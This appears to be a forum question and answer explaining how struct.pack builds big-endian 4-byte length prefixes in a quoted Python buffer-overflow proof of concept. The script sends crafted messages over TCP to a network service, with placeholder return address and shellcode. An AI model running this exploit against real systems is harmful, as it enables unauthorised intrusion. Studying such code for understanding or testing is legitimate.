Can someone please explain how and why this struct.pack
code is used in the below exploit? I'm trying to understand how it triggers the vulnerability. I understand the buffer overflow aspect, I'm referring to the below struct.pack
method. I'm a ruby guy myself, and did some prelim digging into the sruct.pack
code below but still don't understand how it triggers the vuln, and why its needed. I'm in the process of porting the sploit to an msf module, and at this point I have verified the exploit works, but fail to understand how it works.
s.send(struct.pack('>I',len(buff) )) struct writes/reads binary data. pack returns string containing values '>I',len, buff ... packed according to given format. > represents big endian byte alignment (standard size no alignment) I format character = integer python type (4 byte packed value) len = buffer length
Ref: http://docs.python.org/2/library/struct.html#struct.packhttp://www.exploit-db.com/exploits/31762/
#!/usr/bin/env python import socket import struct import ctypes RetAdd="\x90\x90\x90\x90" Shell="S" *1000 buff= "\x00\x01\x00\x30" + "A" * 20 + "AppToBusInitMsg" +"\x00" + "\x00" * 48 + "CATV5_Backbone_Bus" +"\x00" + "\x00"* 49 + "\x00\x00\x00\x00" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("192.168.0.3", 55555)) #s.connect(("192.168.0.5", 55558)) s.send(struct.pack('>I',len(buff) )) s.send(buff) buff= "\x02\x00\x00\x00" + RetAdd*3 + "\x00\x00\x00\x00" * 13 + "\x00\x00\x00\x00" * 5 + "CATV5_AllApplications" +"\x00" + "\x00"* 43 +"\x00\x00\x98" + "\x00\x00\x00\x01" +"\x00"*4 +"\x08\x00\x00\x00" + Shell s.send(struct.pack('>I',len(buff) )) s.send(buff)